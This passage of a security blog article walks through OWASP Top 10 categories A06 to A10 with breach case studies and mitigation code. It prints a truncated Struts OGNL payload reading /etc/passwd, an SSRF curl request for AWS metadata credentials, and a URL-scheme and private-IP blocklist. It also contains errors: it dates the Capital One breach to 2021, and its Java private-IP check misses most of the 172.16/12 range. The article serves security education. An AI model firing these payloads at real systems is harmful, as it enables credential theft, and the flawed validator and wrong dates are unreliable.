The OWASP Configuration Cheat Sheet provides a comprehensive checklist covering:

  • Removing default credentials and accounts
  • Disabling directory listing and verbose error pages
  • Restricting administrative interfaces to trusted networks
  • Applying the principle of least privilege to all service accounts
  • Using security headers (CSP, HSTS, X-Frame-Options)
  • Encrypting sensitive configuration values (passwords, API keys) in transit and at rest

For organizations managing Privilege Escalation vulnerabilities, misconfigured permissions are often the root cause — hardening these settings prevents entire attack chains before they begin.

A06: Vulnerable and Outdated Components

This category covers risks introduced by using third-party software components with known vulnerabilities. As modern applications rely heavily on open-source libraries, package managers, and external services, the attack surface expands far beyond custom code. The Equifax breach of 2017 remains the definitive case study: attackers exploited CVE-2017-5638, a Remote Code Execution vulnerability in Apache Struts 2, to exfiltrate sensitive data on over 147 million consumers. The vulnerability had a public patch available for months before the breach occurred.

The Scope of the Problem

Vulnerable and outdated components manifest in several forms:

  • Unpatched libraries with known CVEs (e.g., Log4Shell CVE-2021-44228)
  • End-of-life software no longer receiving security updates (e.g., Java 8, Python 2.7)
  • Transitive dependencies - libraries pulled in by your direct dependencies, often invisible to developers
  • Misconfigured package sources that pull from public repositories without integrity verification

The risk is compounded by the sheer volume of dependencies in modern applications. A typical Node.js project may contain 1,000+ transitive dependencies, each a potential entry point.

Real Exploit: Equifax and Apache Struts

The Equifax attackers used CVE-2017-5638, a Struts 2 vulnerability in the Jakarta Multipart parser. By crafting a malicious Content-Type header, they achieved remote code execution on internet-facing web servers. The exploit required no authentication:

Content-Type: %{(#_='multipart/form-data')...(#cmd='cat /etc/passwd')...}

The payload executed arbitrary OGNL expressions, giving attackers a foothold to pivot internally. Equifax had failed to update Struts despite the patch being available for two months.

Mitigation Strategy

1. Maintain a Software Bill of Materials (SBOM)

An SBOM is a machine-readable inventory of all components, their versions, and dependencies. Formats like CycloneDX or SPDX enable automated vulnerability scanning. Generate SBOMs at build time and store them alongside artifacts:

{
  "bomFormat": "CycloneDX",
  "components": [
    {
      "name": "commons-fileupload",
      "version": "1.3.2",
      "purl": "pkg:maven/commons-fileupload/[email protected]"
    }
  ]
}

2. Automate Dependency Scanning

Integrate tools like OWASP Dependency-Check or Snyk into CI/CD pipelines. These tools compare dependency versions against the National Vulnerability Database (NVD) and alert on known CVEs.

3. Pin Dependency Versions

Avoid version ranges in package manifests. In Maven pom.xml, specify exact versions:

<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-core</artifactId>
    <version>2.5.12</version>
</dependency>

4. Monitor for Transitive Vulnerabilities

Use mvn dependency:tree or npm ls --all to visualize the full dependency graph. Tools like Dependabot and Renovate automatically create pull requests for version bumps.

5. Establish a Patching Cadence

Define SLAs for vulnerability remediation based on CVSS scores. Critical vulnerabilities (CVSS 9.0+) should be patched within 48 hours. Maintain a register of all components and their support status - anything end-of-life must be replaced or isolated behind network controls.

The Equifax breach cost over $1.4 billion in settlements. Proactive component management through SBOMs, automated scanning, and strict version pinning is no longer optional - it is a regulatory and operational necessity. For more on supply chain risk, see our latest breach reports and threat intelligence on real-world exploitation patterns.

A07: Identification and Authentication Failures

Formerly known as “Broken Authentication,” this category encompasses weaknesses in how systems verify user identity and manage sessions. The 2021 update broadened the scope to include identification failures - cases where the system cannot reliably determine who a user is, not just whether they are authenticated. Common flaws include weak password policies, session fixation, credential stuffing, and missing or flawed multi-factor authentication (MFA).

Real-World Exploit: The 2020 Twitter Hack

One of the most high-profile examples of an identification and authentication failure was the July 2020 Twitter breach. Attackers used social engineering to trick Twitter employees into providing credentials through a phone-based pretexting attack. Once inside the internal admin tools, the attackers did not need to crack passwords or exploit code - they simply used legitimate credentials to reset the passwords of high-profile accounts (including Elon Musk, Barack Obama, and Joe Biden) and post a Bitcoin scam.

This attack exploited a failure in identification: Twitter’s internal systems did not have sufficient controls to distinguish between a legitimate employee and an attacker who had stolen their credentials. The absence of hardware-based MFA on administrative accounts was a direct contributing factor. The breach resulted in 130 tweets from verified accounts and an estimated $120,000 in Bitcoin fraud, along with significant reputational damage and regulatory scrutiny.

Attack Vectors in Practice

Credential stuffing remains the most common attack pattern. Attackers obtain username/password pairs from previous breaches (available on paste sites or dark web forums) and automate login attempts across target applications. Tools like Hydra, Burp Intruder, and custom Python scripts using requests libraries can test thousands of credentials per minute.

Session hijacking occurs when an attacker steals a valid session token - often via XSS, network sniffing on unencrypted connections, or predictable session IDs. Once the token is captured, the attacker impersonates the user without needing their password.

Password spraying targets weak passwords across many accounts rather than brute-forcing a single account. Attackers try common passwords like “Password123” or “Spring2024” against thousands of usernames, bypassing account lockout policies that trigger after a few failed attempts per user.

Mitigation Strategies

The primary defense is multi-factor authentication (MFA). Deploying MFA - especially hardware-based tokens (FIDO2, YubiKey) or time-based one-time passwords (TOTP) - reduces credential theft risk by orders of magnitude. For web applications, enforce MFA for all administrative accounts and consider risk-based authentication for regular users.

Secure session management is equally critical. Sessions should use cryptographically random tokens, set the HttpOnly and Secure flags on cookies, and implement short expiration times. Below is a Node.js example using express-session with secure defaults:

const session = require('express-session');

app.use(session({
  secret: process.env.SESSION_SECRET,  // Use a strong, random secret
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,      // Prevents client-side JS access
    secure: true,        // Only sent over HTTPS
    sameSite: 'strict',  // Mitigates CSRF
    maxAge: 1800000      // 30 minutes session lifetime
  }
}));

Additional mitigations include:

  • Rate limiting login attempts (e.g., 5 attempts per IP per 15 minutes)
  • Credential stuffing detection using device fingerprinting, IP reputation, and behavioral analytics
  • Password policies that enforce minimum length (12+ characters) rather than complexity rules
  • Session invalidation on password change, logout, and idle timeout
  • OWASP Authentication Cheat Sheet as a comprehensive design reference

Testing for Authentication Failures

Penetration testers should verify:

  • Session tokens are regenerated after login and privilege escalation
  • MFA cannot be bypassed by manipulating HTTP headers or parameters
  • Password reset flows require identity verification beyond email access
  • Account enumeration is prevented (e.g., generic error messages for “user not found” vs “wrong password”)

Automated scanners like Burp Suite’s Active Scanner and Nuclei can detect basic authentication weaknesses, but manual testing is required for logic flaws such as race conditions in login flows or insecure password recovery mechanisms.

A08: Software and Data Integrity Failures

Software and Data Integrity Failures was introduced as a new standalone category in the 2021 OWASP Top 10, reflecting the industry’s growing recognition of supply chain attacks as a critical threat vector. This category covers vulnerabilities where software or data updates, build pipelines, or deployment artifacts are not verified for integrity before use. The core assumption that code from trusted sources remains unmodified during transit or storage is no longer safe.

The Supply Chain Attack Paradigm

Modern software development relies on a complex web of dependencies, third-party libraries, CI/CD pipelines, and automated deployment systems. An attacker who compromises any single link in this chain can inject malicious code into a product that is then distributed to thousands of downstream customers. Unlike traditional vulnerabilities that require direct exploitation of an application, supply chain attacks exploit trust relationships between developers, repositories, and deployment tools.

Real Exploit: SolarWinds Orion (2020)

The SolarWinds Orion breach remains the most significant software integrity failure in history. Attackers compromised the build environment for SolarWinds’ Orion IT monitoring platform and injected a backdoor called SUNBURST into legitimate software updates. Over 18,000 organizations downloaded the trojanized updates, including multiple U.S. federal agencies and Fortune 500 companies.

The attack vector was deceptively simple: SolarWinds digitally signed their builds, but the signing occurred after the malicious code had been inserted. The attacker-controlled build process signed the backdoored DLLs with SolarWinds’ legitimate code-signing certificate. Victims verified the digital signature and trusted the software, never suspecting the integrity failure occurred before the signing step.

SUNBURST operated through a DNS-based command and control channel, sleeping for two weeks before activating. It blended into legitimate Orion traffic, making detection by traditional signature-based tools nearly impossible. The breach went undetected for months, demonstrating that integrity verification at the point of consumption is insufficient without chain-of-custody validation throughout the build pipeline.

Common Attack Vectors

Unverified third-party dependencies remain the most exploited vector. Attackers publish malicious packages to public repositories like npm, PyPI, and Maven with names similar to popular libraries (typosquatting), or compromise maintainer accounts to push malicious updates to legitimate packages.

Insecure CI/CD pipelines allow attackers to inject code during the build process. Common weaknesses include:

  • Hardcoded credentials in pipeline configuration files
  • Overly permissive access to build servers and artifact repositories
  • Lack of integrity verification for build tools and base images
  • Missing or bypassed code review gates for critical environments

Unvalidated update mechanisms in client software allow man-in-the-middle attacks or compromised update servers to distribute malicious payloads. Applications that download and execute updates without cryptographic verification are vulnerable to trivial exploitation.

Mitigation Strategies

Code signing with hardware security modules (HSMs) ensures that only authorized builds receive valid signatures. The signing process must occur in a controlled, audited environment with strict access controls. Private keys should never be accessible from build servers or developer workstations.

Software Bill of Materials (SBOM) generation and verification provides transparency into every component included in a build. Organizations should verify SBOMs against known vulnerability databases and enforce policies that block builds containing unapproved or outdated dependencies.

CI/CD pipeline integrity requires multi-factor authentication for all pipeline operations, signed commits with GPG keys, and immutable build logs. The following example demonstrates signature verification in a CI/CD pipeline using cosign:

jobs:
  verify:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Verify image signature
        uses: sigstore/[email protected]
        with:
          cosign-release: 'v2.4.0'
      
      - name: Verify container image
        run: |
          cosign verify \
            --key k8s://default/cosign-public-key \
            registry.example.com/app:latest \
            --check-claims=true \
            --insecure-ignore-tlog=false
      
      - name: Attestation verification
        run: |
          cosign verify-attestation \
            --type slsaprovenance \
            --key k8s://default/cosign-public-key \
            registry.example.com/app:latest

Integrity monitoring should extend beyond deployment to runtime. File integrity monitoring (FIM) tools like OSSEC or Wazuh detect unauthorized changes to deployed binaries and configuration files. Combined with immutable infrastructure patterns, FIM provides early warning of post-deployment compromise.

Dependency pinning with hash verification prevents supply chain attacks through package repository compromise. Use lockfiles (package-lock.json, requirements.txt with hashes, go.sum) and verify checksums before installation.

OWASP Supply Chain Security Reference

OWASP maintains the Software Supply Chain Security project, which provides detailed guidance on threat modeling, dependency verification, and build pipeline hardening. Key recommendations include the Supply Chain Levels for Software Artifacts (SLSA) framework, which defines progressive security levels for build and deployment processes. Organizations should target SLSA Level 3 or higher, which requires:

  • Build as code with fully scripted and auditable processes
  • Isolated build environments with no user access
  • Signed provenance attestations for all artifacts
  • Hermetic builds that do not depend on external network resources

For a comprehensive list of real-world supply chain compromise case studies, see Yazoul Security’s latest breach reports, which track ongoing attacks against software development infrastructure.

A09: Security Logging and Monitoring Failures

Security Logging and Monitoring Failures occur when organizations fail to generate, store, or analyze audit logs that could detect malicious activity in time. The 2021 OWASP Top 10 elevated this category from A10 to A09, reflecting the critical role logging plays in incident response, forensics, and compliance. Without adequate monitoring, attackers can operate undetected for weeks or months, and breaches often come to light only through external notifications rather than internal detection.

The 2016 Dyn DDoS Attack: A Case Study in Monitoring Failure

The October 2016 distributed denial-of-service (DDoS) attack against Dyn, a major DNS provider, took down high-profile sites including Twitter, Netflix, and Reddit. The attack leveraged the Mirai botnet, which compromised hundreds of thousands of IoT devices. While the attack itself was volumetric, the deeper failure was a lack of monitoring and logging that could have detected the Mirai infection vector earlier. Dyn had insufficient visibility into anomalous DNS query patterns and device behavior, allowing the botnet to build its army of compromised devices over months. Post-incident analysis revealed that better logging of device registration and traffic anomalies could have triggered alerts weeks before the attack peaked at 1.2 Tbps.

Core Requirements for Effective Logging

The OWASP Logging Cheat Sheet provides the baseline for security logging. Every application should log:

  • Authentication events (successes and failures)
  • Authorization failures (access denied)
  • Input validation failures
  • Session management events (creation, destruction, timeout)
  • Privilege escalation attempts
  • Critical data access (PII, payment data)
  • System errors and exceptions

Logs must include: timestamp (UTC), source IP, user ID, event type, severity level, and a unique request identifier for correlation. Crucially, logs must never contain sensitive data such as passwords, session tokens, or full credit card numbers.

Python Logging Example with Security Events

import logging
import json
from datetime import datetime, timezone

# Configure secure logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    handlers=[
        logging.FileHandler('/var/log/security/events.log'),
        logging.StreamHandler()
    ]
)

security_logger = logging.getLogger('security_events')

def log_auth_event(user_id, source_ip, success, failure_reason=None):
    event = {
        'timestamp': datetime.now(timezone.utc).isoformat(),
        'event_type': 'authentication',
        'user_id': user_id,
        'source_ip': source_ip,
        'success': success,
        'failure_reason': failure_reason
    }
    if success:
        security_logger.info(json.dumps(event))
    else:
        security_logger.warning(json.dumps(event))

def log_access_denied(user_id, resource, method):
    event = {
        'timestamp': datetime.now(timezone.utc).isoformat(),
        'event_type': 'authorization_failure',
        'user_id': user_id,
        'resource': resource,
        'method': method
    }
    security_logger.error(json.dumps(event))

SIEM Integration and Centralized Logging

Centralized logging with a SIEM (Security Information and Event Management) system is the standard approach. The ELK stack (Elasticsearch, Logstash, Kibana) is a popular open-source solution. Logstash ingests logs from multiple sources, Elasticsearch indexes them, and Kibana provides dashboards and alerting. Modern SIEMs like Splunk, Microsoft Sentinel, and Wazuh add machine learning for anomaly detection and correlation rules.

Key monitoring rules to implement:

RuleExampleAlert Trigger
Brute force detection10 failed logins in 5 minutesAccount lockout notification
Impossible travelLogin from US then Asia in 10 minutesAccount compromise alert
Privilege escalationUser added to admin groupImmediate investigation
Data exfiltration1GB outbound in 1 hourNetwork team notification

Common Implementation Pitfalls

  • Logging too little: Only logging errors, not security events
  • Logging too much: Capturing sensitive data or generating noise that buries real alerts
  • No log rotation: Disk fills, logs stop writing
  • No time synchronization: Without NTP, correlation across systems fails
  • No log integrity: Attackers modify or delete logs after compromise
  • No alerting: Logs exist but no one reviews them

Mitigation Checklist

  1. Implement the OWASP Logging Cheat Sheet as a development standard
  2. Deploy a SIEM or centralized logging platform (ELK, Splunk, Sentinel)
  3. Set up real-time alerting for critical events
  4. Protect log integrity with write-once storage or cryptographic signing
  5. Conduct regular log review and incident response drills
  6. Ensure logs are retained for at least 90 days (or per regulatory requirements)
  7. Test logging during penetration tests and red team exercises

Without proper logging and monitoring, even the best defenses against Remote Code Execution vulnerabilities or SQL Injection vulnerabilities remain blind to active exploitation. Logging is not just about compliance — it is the only way to know if your security controls are actually working.

A10: Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) occurs when an attacker induces a server-side application to make HTTP requests to an arbitrary domain or IP address. The vulnerability arises when user-supplied input, such as URLs or IP addresses, is used to construct backend requests without proper validation. SSRF attacks typically target internal systems, cloud metadata endpoints, or services that are not exposed to the public internet.

SSRF was elevated to the OWASP Top 10 in 2021, reflecting its growing prevalence in cloud-native architectures. The impact ranges from accessing internal services to full cloud credential theft and remote code execution.

Real Exploit: Capital One SSRF (2021)

The most notorious SSRF exploit occurred in 2021 against Capital One, affecting over 100 million customer records. The attacker exploited an SSRF vulnerability in a web application firewall (WAF) configuration that allowed the application to make requests to internal AWS metadata endpoints.

The attack chain worked as follows:

  1. The attacker identified a parameter in the application that accepted a URL and fetched its content
  2. The attacker supplied the AWS instance metadata endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/
  3. The server retrieved the metadata response, which contained temporary AWS credentials
  4. With those credentials, the attacker accessed an S3 bucket containing customer data

The exploit command was as simple as:

curl -X POST https://target-app.example.com/fetch \
  -d 'url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'

The root cause was the absence of server-side validation on the target URL. The application trusted user input without checking whether the destination was an internal or external resource.

SSRF Attack Vectors

SSRF attacks typically target three categories of internal resources:

Target TypeExample EndpointRisk
Cloud metadatahttp://169.254.169.254/IAM credentials, instance identity
Internal serviceshttp://localhost:9200/Elasticsearch, Redis, internal APIs
File system accessfile:///etc/passwdLocal file disclosure

Attackers also use DNS rebinding, IPv6-to-IPv4 mapping, and URL obfuscation techniques to bypass basic blocklists.

Mitigation: URL Validation and Network Controls

The primary defense against SSRF is strict validation of all user-supplied URLs before the server processes them. The following Java example demonstrates a robust validation approach:

import java.net.URI;
import java.net.URISyntaxException;
import java.util.Arrays;
import java.util.List;

public class SSRFValidator {
    
    private static final List<String> BLOCKED_SCHEMES = Arrays.asList("file", "ftp", "gopher", "dict");
    private static final List<String> ALLOWED_HOSTS = Arrays.asList("api.trusted.com", "cdn.trusted.com");
    
    public static boolean validateUrl(String urlString) {
        try {
            URI uri = new URI(urlString);
            
            // Reject dangerous schemes
            if (BLOCKED_SCHEMES.contains(uri.getScheme().toLowerCase())) {
                return false;
            }
            
            // Reject private IP ranges
            String host = uri.getHost();
            if (isPrivateIP(host)) {
                return false;
            }
            
            // Allow only whitelisted hosts
            if (!ALLOWED_HOSTS.contains(host)) {
                return false;
            }
            
            return true;
        } catch (URISyntaxException e) {
            return false;
        }
    }
    
    private static boolean isPrivateIP(String host) {
        return host.equals("localhost") ||
               host.equals("127.0.0.1") ||
               host.startsWith("10.") ||
               host.startsWith("192.168.") ||
               host.startsWith("172.16.") ||
               host.equals("169.254.169.254");
    }
}

Additional Mitigations

Network-level controls provide a defense-in-depth layer:

  • Deploy egress firewalls that block outbound traffic to private IP ranges
  • Use web application firewalls (WAFs) with SSRF-specific rules
  • Configure cloud security groups to restrict instance metadata access
  • Implement DNS-based filtering to prevent resolution of internal hostnames

Application-level controls include:

  • Maintain an allowlist of permitted destination domains or IPs
  • Disable HTTP redirects or validate the final destination after redirects
  • Use a dedicated URL parsing library that handles edge cases (e.g., java.net.URI instead of string parsing)
  • Strip or reject URLs containing IP addresses in decimal, octal, or hex formats

For a complete prevention strategy, reference the OWASP SSRF Prevention Cheat Sheet.

Detection and Testing

To identify SSRF vulnerabilities in your applications:

  • Test URL parameters, form fields, and API endpoints that fetch external content
  • Use a collaborator service (e.g., Burp Collaborator, interactsh) to detect outbound requests
  • Monitor server logs for requests to internal IP ranges from application servers
  • Scan for cloud metadata endpoint access attempts

SSRF remains one of the most impactful web vulnerabilities in modern cloud environments. Proper input validation, combined with network segmentation and monitoring, provides the strongest defense against exploitation.

Conclusion and Key Takeaways

The OWASP Top 10 (2021–2026) reflects a fundamental shift in the application security landscape. Broken access control now dominates, injection attacks remain persistent, and cryptographic failures expose systemic weaknesses in how organizations handle sensitive data. The inclusion of SSRF as a new category signals that cloud-native architectures and server-side request patterns have created novel attack surfaces that traditional defenses often miss.

The common thread across all categories is the failure of proactive defense. Most exploited vulnerabilities are not zero-days — they are known, preventable issues that organizations failed to detect or remediate. The 2021 update’s emphasis on CWEs over generic categories forces security teams to think in terms of specific weakness patterns rather than abstract risk labels.

To operationalize these lessons:

  • Integrate security testing early — Static analysis (SAST) during development, dynamic analysis (DAST) during staging, and dependency scanning continuously. Tools like OWASP ZAP provide free, automated DAST that catches SSRF, injection, and misconfiguration issues before production deployment.
  • Adopt a risk-based prioritization model — Not all findings are equal. Focus on A01 (broken access control) and A03 (injection) as immediate remediation targets given their prevalence and impact.
  • Implement defense in depth — No single control is sufficient. Combine input validation, output encoding, strict access controls, and comprehensive logging to create overlapping layers of protection.
  • Leverage OWASP resources — The OWASP Cheat Sheet Series provides actionable guidance for every category. The OWASP Testing Guide offers methodology for validating controls. Join local OWASP chapters for community-driven threat intelligence.

The threat landscape will continue evolving, but the fundamentals remain constant: validate all input, enforce least privilege, encrypt everywhere, and assume compromise. Organizations that treat the OWASP Top 10 as a minimum baseline — not a compliance checkbox — will reduce their breach surface area by orders of magnitude.

The time to act is now. Audit your applications against these categories today. Deploy automated scanning. Train developers on secure coding patterns. The cost of prevention is always lower than the cost of incident response.

Share:

Never miss a security resource

Get real-time security alerts delivered to your preferred platform.

Related Resources

Never Miss a Critical Alert

CVE advisories, breach reports, and threat intel — delivered daily to your inbox.